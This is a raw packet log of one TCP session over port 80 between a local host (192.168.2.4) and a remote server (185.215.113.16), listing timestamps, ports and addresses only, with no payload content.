Nov 12, 2024 15:41:27.096405983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096415997 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096425056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096436977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096438885 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.096447945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096457005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096460104 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.096467972 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.096468925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096481085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096502066 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.096522093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.096817970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096829891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096841097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096869946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.096893072 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.096986055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096997976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097007036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097023010 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097032070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097037077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097048044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097060919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097067118 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097069979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097080946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097089052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097090006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097106934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097107887 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097119093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097126961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097132921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097136021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097146034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097155094 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097157955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097167969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097179890 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097187996 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097187996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097199917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097209930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097214937 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097219944 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097222090 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097229958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097239971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097244024 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097251892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097261906 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097270012 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097280979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097291946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097294092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097301006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097316980 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097316980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097328901 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097337961 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097341061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097352028 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097357988 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097362995 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097373009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097378969 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097383022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097392082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097404003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097404957 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097413063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097414970 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097434998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097440958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097445011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097455978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097467899 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097476006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097486973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097495079 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097497940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097508907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097518921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097529888 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097529888 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097542048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097551107 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097558022 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097562075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097572088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097574949 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097584009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097596884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097599983 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097609043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097618103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097620010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097630978 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097639084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097656965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097668886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097677946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097687006 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097688913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097707987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097712994 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097719908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097723961 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097728968 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097739935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097753048 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097759008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097771883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097779989 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097780943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097790956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097810984 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097834110 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097846031 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097856998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097889900 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.097982883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.097995043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.098004103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.098016024 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.098026037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.098031998 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.098037004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.098041058 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.098057032 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.098084927 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100364923 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100389004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100399017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100433111 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100457907 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100471973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100481987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100492001 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100502014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100517035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100537062 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100706100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100723982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100744963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100748062 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100754023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100764036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100769997 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100775957 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100784063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100789070 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100794077 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100805044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100811958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100816965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100826979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100830078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100837946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100843906 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100848913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100856066 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100858927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100868940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100878954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100884914 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100888014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100898981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100909948 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100913048 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100919962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100924015 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100936890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100950956 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100955009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100965023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100975037 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100977898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.100987911 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.100987911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.101010084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.101030111 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.121735096 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.121987104 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122004032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122015953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122025967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122036934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122050047 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122060061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122070074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122080088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122088909 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122102022 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122103930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122122049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122133970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122143984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122154951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122155905 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122164965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122174978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122186899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122189045 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122189045 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122199059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122209072 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122216940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122217894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122230053 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122241020 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122241020 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122267962 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122271061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122278929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122282028 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122292042 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122303009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122311115 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122313023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122323036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122332096 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122334003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122345924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122355938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122364044 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122364044 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122366905 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122376919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122390032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122416973 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122425079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122435093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122441053 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122445107 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122459888 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122462034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122486115 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122488022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122499943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122505903 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122509003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122519016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122530937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122540951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.122543097 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122565985 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.122579098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.185870886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.185894966 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.185900927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.185905933 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.185911894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.185920000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.185925961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.185933113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.185939074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.185944080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186100006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186168909 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186208010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186224937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186235905 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186245918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186260939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186273098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186278105 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186285019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186300993 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186317921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186347008 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186470032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186487913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186522007 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186537981 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186553955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186566114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186575890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186584949 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186605930 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186616898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186628103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186636925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186640978 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186646938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186664104 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186676979 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186700106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186707020 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186712027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186721087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186729908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186742067 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186742067 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186772108 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186786890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186789036 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186799049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186806917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186829090 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186832905 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186851978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186852932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186861992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186870098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186880112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186887980 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186892033 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186899900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186912060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186922073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186929941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186933041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.186952114 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.186970949 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.187470913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.187484026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.187493086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.187501907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.187530994 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.187536001 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.187544107 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.187546968 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.187563896 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.187573910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.187582016 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.187592030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.187603951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.187608004 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.187613964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.187624931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.187635899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.187637091 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.187647104 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.187657118 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.187661886 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.187669039 CET	80	49761	185.215.113.16	192.168.2.4
